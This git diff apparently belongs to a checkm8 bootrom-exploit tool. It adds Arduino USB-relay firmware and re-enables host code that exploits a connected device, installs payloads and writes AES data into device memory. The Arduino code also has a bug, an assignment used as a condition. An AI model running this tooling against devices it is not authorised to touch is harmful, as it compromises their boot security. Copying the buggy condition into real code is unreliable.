diff --git a/checkm8_arduino/include/SPI.h b/checkm8_arduino/include/SPI.h index ca3f1e9..9b6ccf1 100644 --- a/checkm8_arduino/include/SPI.h +++ b/checkm8_arduino/include/SPI.h @@ -14,7 +14,7 @@ #ifndef _SPI_H_INCLUDED #define _SPI_H_INCLUDED -#include "../../../../../../../../../opt/arduino-1.8.10/hardware/arduino/avr/cores/arduino/Arduino.h" +#include "Arduino.h" // SPI_HAS_TRANSACTION means SPI has beginTransaction(), endTransaction(), // usingInterrupt(), and SPISetting(clock, bitOrder, dataMode) diff --git a/checkm8_arduino/src/checkm8_arduino.ino b/checkm8_arduino/src/checkm8_arduino.ino index 1793ebb..633e16c 100644 --- a/checkm8_arduino/src/checkm8_arduino.ino +++ b/checkm8_arduino/src/checkm8_arduino.ino @@ -4,10 +4,11 @@ #include "ard_protocol.h" USB Usb; -USB_DEVICE_DESCRIPTOR desc_buf; uint8_t state, rcode, addr = 1; uint8_t usb_data_buf[ARD_BUF_SIZE]; +uint8_t desc_buf_val = 0; +USB_DEVICE_DESCRIPTOR desc_buf; struct serial_desc_args sd_args; struct usb_xfer_args usb_args; @@ -15,7 +16,7 @@ int i, chunk_i; int size, chunk_size; char cmd; -void recv_args(uint8_t *target, int len) +void recv_serial(uint8_t *target, int len) { for(i = 0; i < len; i = i + 1) { @@ -26,6 +27,26 @@ void recv_args(uint8_t *target, int len) } } +void get_dev_descriptor() +{ + if(!desc_buf_val) + { + Usb.getDevDescr(addr, 0, sizeof(USB_DEVICE_DESCRIPTOR), (uint8_t * ) & desc_buf); + desc_buf_val = 1; + } +} + + +uint8_t send_usb(uint8_t *buf, uint8_t len) +{ + Usb.bytesWr(rSNDFIFO, len, buf); + Usb.regWr(rSNDBC, len); + Usb.regWr(rHXFR, tokOUT); + while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ)); + Usb.regWr(rHIRQ, bmHXFRDNIRQ); + return (Usb.regRd(rHRSL) & 0x0f); +} + uint8_t respond_rcode() { if(rcode) @@ -37,15 +58,6 @@ uint8_t respond_rcode() else return 0; } -uint8_t send_data(uint8_t *buf, uint8_t len) -{ - Usb.bytesWr(rSNDFIFO, len, buf); - Usb.regWr(rSNDBC, len); - Usb.regWr(rHXFR, tokOUT); - while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ)); - Usb.regWr(rHIRQ, bmHXFRDNIRQ); - return (Usb.regRd(rHRSL) & 0x0f); -} void setup() { @@ -65,13 +77,18 @@ void loop() state = Usb.getUsbTaskState(); } + if(state = USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) + { + desc_buf_val = 0; + } + if(Serial.available() > 0) { cmd = (char) Serial.read(); switch(cmd) { case PROT_PARTIAL_CTRL_XFER: - recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); + recv_serial((uint8_t * ) & usb_args, sizeof(struct usb_xfer_args)); Serial.write(PROT_ACK); rcode = Usb.ctrlReq_SETUP(addr, 0, @@ -95,7 +112,7 @@ void loop() break; case PROT_NO_ERROR_CTRL_XFER: - recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); + recv_serial((uint8_t * ) & usb_args, sizeof(struct usb_xfer_args)); Serial.write(PROT_ACK); rcode = Usb.ctrlReq_SETUP(addr, 0, @@ -105,7 +122,6 @@ void loop() (usb_args.wValue >> 8u) & 0xFFu, usb_args.wIndex, usb_args.data_len); - respond_rcode(); if(usb_args.bmRequestType & 0x80u) { @@ -114,12 +130,11 @@ void loop() } else rcode = Usb.dispatchPkt(tokOUTHS, 0, 0); - respond_rcode(); Serial.write(PROT_SUCCESS); break; case PROT_NO_ERROR_CTRL_XFER_DATA: - recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); + recv_serial((uint8_t * ) & usb_args, sizeof(struct usb_xfer_args)); Serial.write(PROT_ACK); rcode = Usb.ctrlReq_SETUP(addr, 0, @@ -129,11 +144,8 @@ void loop() (usb_args.wValue >> 8u) & 0xFFu, usb_args.wIndex, usb_args.data_len); - respond_rcode(); Usb.regWr(rHCTL, bmSNDTOG0); - - rcode = send_data(usb_data_buf, 0); - respond_rcode(); + rcode = send_usb(usb_data_buf, 0); chunk_i = 0; while(chunk_i < usb_args.data_len) @@ -141,7 +153,7 @@ void loop() if(usb_args.data_len - chunk_i > ARD_BUF_SIZE) chunk_size = ARD_BUF_SIZE; else chunk_size = usb_args.data_len - chunk_i; - recv_args(usb_data_buf, chunk_size); + recv_serial(usb_data_buf, chunk_size); Serial.write(PROT_ACK); // i is the current data index @@ -151,8 +163,7 @@ void loop() if(chunk_size - i > 64) size = 64; else size = chunk_size - i; - rcode = send_data(&usb_data_buf[i], size); - respond_rcode(); + rcode = send_usb(&usb_data_buf[i], size); i += size; } @@ -162,22 +173,89 @@ void loop() Serial.write(PROT_SUCCESS); break; -// case PROT_CTRL_XFER: -// recv_args((uint8_t *) &usb_args, sizeof(struct usb_xfer_args)); -// if(receive_data_and_respond()) break; -// -// rcode = Usb.ctrlReq(addr, 0, -// usb_args.bmRequestType, -// usb_args.bRequest, -// usb_args.wValue & 0xFFu, -// (usb_args.wValue >> 8u) & 0xFFu, -// usb_args.wIndex, -// usb_args.data_len, usb_args.data_len, -// usb_data_buf, NULL); -// if(respond_rcode()) break; -// -// Serial.write(PROT_SUCCESS); -// break; + case PROT_CTRL_XFER: + recv_serial((uint8_t * ) & usb_args, sizeof(struct usb_xfer_args)); + Serial.write(PROT_ACK); + + get_dev_descriptor(); + rcode = Usb.ctrlReq_SETUP(addr, 0, + usb_args.bmRequestType, + usb_args.bRequest, + usb_args.wValue & 0xFFu, + (usb_args.wValue >> 8u) & 0xFFu, + usb_args.wIndex, + usb_args.data_len); + + if(usb_args.bmRequestType & 0x80u) + { + i = 0; + Usb.regWr(rHCTL, bmRCVTOG1); + + while(i < usb_args.data_len) + { + Usb.regWr(rHXFR, tokIN); + + while(!(Usb.regRd(rHIRQ) & bmHXFRDNIRQ)); + Usb.regWr(rHIRQ, bmHXFRDNIRQ); + + if(Usb.regRd(rHIRQ) & bmRCVDAVIRQ) + { + size = Usb.regRd(rRCVBC); + Usb.bytesRd(rRCVFIFO, size, usb_data_buf); + Usb.regWr(rHIRQ, bmRCVDAVIRQ); + + Serial.write(size); + Serial.write(usb_data_buf, size); + i += size; + + if(size != desc_buf.bMaxPacketSize0) break; + } + else + { + rcode = (Usb.regRd(rHRSL) & 0x0f); + if(rcode == hrNAK) continue; + + Serial.write(PROT_FAIL_USB); + Serial.write(rcode); + break; + } + } + + Usb.regWr(rHXFR, tokOUTHS); + Serial.write(PROT_SUCCESS); + break; + } + else + { + chunk_i = 0; + Usb.regWr(rHCTL, bmSNDTOG0); + + rcode = send_usb(usb_data_buf, 0); + while(chunk_i < usb_args.data_len) + { + if(usb_args.data_len - chunk_i > ARD_BUF_SIZE) chunk_size = ARD_BUF_SIZE; + else chunk_size = usb_args.data_len - chunk_i; + + recv_serial(usb_data_buf, chunk_size); + Serial.write(PROT_ACK); + + i = 0; + while(i < chunk_size) + { + if(chunk_size - i > desc_buf.bMaxPacketSize0) size = desc_buf.bMaxPacketSize0; + else size = chunk_size - i; + + rcode = send_usb(&usb_data_buf[i], size); + i += size; + } + + chunk_i += chunk_size; + } + + Usb.regWr(rHXFR, tokINHS); + Serial.write(PROT_SUCCESS); + break; + } case PROT_RESET: Serial.write(PROT_ACK); @@ -189,7 +267,7 @@ void loop() break; case PROT_SERIAL_DESC: - recv_args((uint8_t *) &sd_args, sizeof(struct serial_desc_args)); + recv_serial((uint8_t * ) & sd_args, sizeof(struct serial_desc_args)); Serial.write(PROT_ACK); state = Usb.getUsbTaskState(); @@ -199,7 +277,7 @@ void loop() break; } - Usb.getDevDescr(addr, 0, sizeof(USB_DEVICE_DESCRIPTOR), (uint8_t *) &desc_buf); + get_dev_descriptor(); if(desc_buf.idVendor != sd_args.dev_idVendor || desc_buf.idProduct != sd_args.dev_idProduct) { diff --git a/checkm8_remote/CMakeLists.txt b/checkm8_remote/CMakeLists.txt index d8422aa..8c36622 100644 --- a/checkm8_remote/CMakeLists.txt +++ b/checkm8_remote/CMakeLists.txt @@ -8,7 +8,7 @@ add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload add_custom_command(TARGET checkm8_remote POST_BUILD COMMAND ln ARGS -s -f -n - ${PROJECT_SOURCE_DIR}/checkm8_payloads/bin + ${CMAKE_SOURCE_DIR}/checkm8_payloads/bin ${CMAKE_CURRENT_SOURCE_DIR}/bin/payloads) target_link_libraries(checkm8_remote checkm8_libusb pthread udev) \ No newline at end of file diff --git a/checkm8_remote/main.c b/checkm8_remote/main.c index fc36dec..1f6507d 100644 --- a/checkm8_remote/main.c +++ b/checkm8_remote/main.c @@ -40,55 +40,55 @@ int main() { int ret; struct pwned_device *dev = exploit_device(); -// if(dev == NULL || dev->status == DEV_NORMAL) -// { -// printf("Failed to exploit device\n"); -// return -1; -// } -// -// struct dev_cmd_resp *resp; -// ret = install_payload(dev, PAYLOAD_SYNC, DRAM); -// if(IS_CHECKM8_FAIL(ret)) -// { -// printf("Failed to install sync payload\n"); -// return -1; -// } -// -// ret = install_payload(dev, PAYLOAD_AES, DRAM); -// if(IS_CHECKM8_FAIL(ret)) -// { -// printf("Failed to install AES payload\n"); -// return -1; -// } -// -// resp = execute_payload(dev, PAYLOAD_SYNC, 0); -// if(IS_CHECKM8_FAIL(resp->ret)) -// { -// printf("Failed to execute sync payload\n"); -// return -1; -// } -// -// unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, -// 0xef}; -// unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, -// 0xef}; -// -// free_dev_cmd_resp(resp); -// resp = write_payload(dev, 0x180152000, data, 16); -// if(IS_CHECKM8_FAIL(resp->ret)) -// { -// printf("Failed to write AES data\n"); -// return -1; -// } -// -// free_dev_cmd_resp(resp); -// resp = write_payload(dev, 0x180152010, key, 16); -// if(IS_CHECKM8_FAIL(resp->ret)) -// { -// printf("Failed to write AES key\n"); -// return -1; -// } -// + if(dev == NULL || dev->status == DEV_NORMAL) + { + printf("Failed to exploit device\n"); + return -1; + } + + struct dev_cmd_resp *resp; + ret = install_payload(dev, PAYLOAD_SYNC, DRAM); + if(IS_CHECKM8_FAIL(ret)) + { + printf("Failed to install sync payload\n"); + return -1; + } + + ret = install_payload(dev, PAYLOAD_AES, DRAM); + if(IS_CHECKM8_FAIL(ret)) + { + printf("Failed to install AES payload\n"); + return -1; + } + + resp = execute_payload(dev, PAYLOAD_SYNC, 0); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("Failed to execute sync payload\n"); + return -1; + } + + unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, + 0xef}; + unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, + 0xef}; + + free_dev_cmd_resp(resp); + resp = write_payload(dev, 0x180152000, data, 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("Failed to write AES data\n"); + return -1; + } + + free_dev_cmd_resp(resp); + resp = write_payload(dev, 0x180152010, key, 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("Failed to write AES key\n"); + return -1; + } + // free_dev_cmd_resp(resp); // resp = execute_payload(dev, PAYLOAD_AES, 7, 16, 0x180152000, DFU_IMAGE_BASE + 56, 128, 0, 0x180152010, 0); // @@ -97,7 +97,7 @@ int main() // printf("Failed to execute AES\n"); // return -1; // } -// -// free_dev_cmd_resp(resp); -// free_device(dev); + + free_dev_cmd_resp(resp); + free_device(dev); } diff --git a/checkm8_remote/src/command.c b/checkm8_remote/src/command.c index d6eef56..00ef58f 100644 --- a/checkm8_remote/src/command.c +++ b/checkm8_remote/src/command.c @@ -29,7 +29,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len) if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { - checkm8_debug_indent("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret)); + checkm8_debug_indent("\trequest failed with error code %i\n", ret); return CHECKM8_FAIL_XFER; } index += amount; @@ -67,7 +67,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { - checkm8_debug_indent("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret)); + checkm8_debug_indent("\trequest failed with error code %i\n", ret); cmd_resp->ret = ret; return cmd_resp; } @@ -76,7 +76,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { - checkm8_debug_indent("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret)); + checkm8_debug_indent("\trequest failed with error code %i\n", ret); cmd_resp->ret = ret; return cmd_resp; } @@ -85,7 +85,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret); else { - checkm8_debug_indent("\trequest failed with error code %i (%s)\n", ret, libusb_error_name(ret)); + checkm8_debug_indent("\trequest failed with error code %i\n", ret); cmd_resp->ret = ret; return cmd_resp; } @@ -106,7 +106,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret); else { - checkm8_debug_indent("\tfinal request failed with error code %i (%s)\n", ret, libusb_error_name(ret)); + checkm8_debug_indent("\tfinal request failed with error code %i\n", ret); cmd_resp->ret = ret; return cmd_resp; } @@ -120,7 +120,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev, if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret); else { - checkm8_debug_indent("\tfinal request failed with error code %i (%s)\n", ret, libusb_error_name(ret)); + checkm8_debug_indent("\tfinal request failed with error code %i\n", ret); cmd_resp->ret = ret; return cmd_resp; } diff --git a/checkm8_remote/src/payload.c b/checkm8_remote/src/payload.c index c2cac56..81401d0 100644 --- a/checkm8_remote/src/payload.c +++ b/checkm8_remote/src/payload.c @@ -43,6 +43,7 @@ struct payload *get_payload(PAYLOAD_T p) return NULL; } + checkm8_debug_indent("get_payload(p = %i) -> %s\n", p, path); res = malloc(sizeof(struct payload)); if(res == NULL) return NULL; @@ -131,12 +132,16 @@ int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl) int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc) { checkm8_debug_indent("install_payload(dev = %p, p = %i, loc = %i)\n", dev, p, loc); - int i, ret; + int ret; struct dev_cmd_resp *resp = NULL; struct payload *pl = get_payload(p); long long addr = get_address(dev, loc); - if(pl == NULL || addr == -1) return CHECKM8_FAIL_INVARGS; + if(pl == NULL || addr == -1) + { + checkm8_debug_indent("\tinvalid args (either payload or address)\n"); + return CHECKM8_FAIL_INVARGS; + } ret = open_device_session(dev); if(IS_CHECKM8_FAIL(ret)) return ret; @@ -161,6 +166,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc) int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p) { //TODO: free memory in memory allocator + return CHECKM8_SUCCESS; } struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int nargs, ...) diff --git a/checkm8_remote/src/usb_helpers.c b/checkm8_remote/src/usb_helpers.c index b5c36b5..1fe0bc7 100644 --- a/checkm8_remote/src/usb_helpers.c +++ b/checkm8_remote/src/usb_helpers.c @@ -1,7 +1,5 @@ #include "usb_helpers.h" -#include - #ifdef WITH_ARDUINO #include @@ -12,6 +10,7 @@ #else #include +#include #include "libusbi.h" #endif @@ -401,7 +400,8 @@ int no_error_ctrl_transfer(struct pwned_device *dev, } } - ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); + ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, + timeout); checkm8_debug_indent("\tgot error %s but ignoring\n", libusb_error_name(ret)); return CHECKM8_SUCCESS; #endif @@ -434,7 +434,6 @@ int no_error_ctrl_transfer_data(struct pwned_device *dev, if(buf == PROT_ACK) { checkm8_debug_indent("\treceived argument ack\n"); - while(index < data_len) { if(data_len - index > ARD_BUF_SIZE) amount = ARD_BUF_SIZE; @@ -442,19 +441,18 @@ int no_error_ctrl_transfer_data(struct pwned_device *dev, checkm8_debug_indent("\twriting data chunk of size %i\n", amount); write(dev->ard_fd, &data[index], amount); - do + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) { - if(buf == PROT_FAIL_USB) - { - while(read(dev->ard_fd, &buf, 1) == 0); - checkm8_debug_indent("\treceived error %X but ignoring\n", buf); - } - - while(read(dev->ard_fd, &buf, 1) == 0); - } while(buf != PROT_ACK); - - checkm8_debug_indent("\treceived data ack\n"); - index += amount; + checkm8_debug_indent("\treceived data ack\n"); + index += amount; + } + else + { + checkm8_debug_indent("\treceived unexpected response %x\n", buf); + return CHECKM8_FAIL_PROT; + } } while(read(dev->ard_fd, &buf, 1) == 0); @@ -463,6 +461,11 @@ int no_error_ctrl_transfer_data(struct pwned_device *dev, checkm8_debug_indent("\tsuccess\n"); return CHECKM8_SUCCESS; } + else + { + checkm8_debug_indent("\tunexpected response %x\n", buf); + return CHECKM8_FAIL_PROT; + } } else { @@ -481,10 +484,11 @@ int ctrl_transfer(struct pwned_device *dev, unsigned int timeout) { checkm8_debug_indent( - "ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n", + "ctrl_transfer(dev = %p, bmRequestType = %X, bRequest = %X, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n", dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); #ifdef WITH_ARDUINO + int amount, index; char buf; struct usb_xfer_args args; args.bmRequestType = bmRequestType; @@ -496,32 +500,63 @@ int ctrl_transfer(struct pwned_device *dev, checkm8_debug_indent("\tsending data to arduino\n"); write(dev->ard_fd, &PROT_CTRL_XFER, 1); write(dev->ard_fd, &args, sizeof(struct usb_xfer_args)); - write(dev->ard_fd, data, data_len); while(read(dev->ard_fd, &buf, 1) == 0); if(buf == PROT_ACK) { - checkm8_debug_indent("\treceived ack\n"); + checkm8_debug_indent("\treceived argument ack\n"); + if(bmRequestType & 0x80) + { + amount = 0; + while(amount < data_len) + { + // get the size of this chunk + while(read(dev->ard_fd, &buf, 1) == 0); + checkm8_debug_indent("\treceiving data chunk of size %i\n", buf); - while(read(dev->ard_fd, &buf, 1) == 0); - if(buf == PROT_FAIL_TOOBIG) - { - checkm8_debug_indent("\tdata packet is too big\n"); - return CHECKM8_FAIL_INVARGS; - } - else if(buf == PROT_FAIL_USB) - { - while(read(dev->ard_fd, &buf, 1) == 0); - checkm8_debug_indent("\tUSB failed with error %x\n", buf); - } - else if(buf == PROT_SUCCESS) - { - checkm8_debug_indent("\tsuccess\n"); - return CHECKM8_SUCCESS; + index = 0; + while(index < buf) + { + index += read(dev->ard_fd, &data[amount + index], buf - index); + } + + amount += buf; + } } else { - checkm8_debug_indent("\tunexpected response %X\n", buf); + index = 0; + while(index < data_len) + { + if(data_len - index > ARD_BUF_SIZE) amount = ARD_BUF_SIZE; + else amount = data_len - index; + + checkm8_debug_indent("\twriting data chunk of size %i\n", amount); + write(dev->ard_fd, &data[index], amount); + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_ACK) + { + checkm8_debug_indent("\treceived data ack\n"); + index += amount; + } + else + { + checkm8_debug_indent("\treceived unexpected response %x\n", buf); + return CHECKM8_FAIL_PROT; + } + } + } + + while(read(dev->ard_fd, &buf, 1) == 0); + if(buf == PROT_SUCCESS) + { + checkm8_debug_indent("\tsuccess\n"); + return data_len; + } + else + { + checkm8_debug_indent("\tunexpected response %x\n", buf); return CHECKM8_FAIL_PROT; } }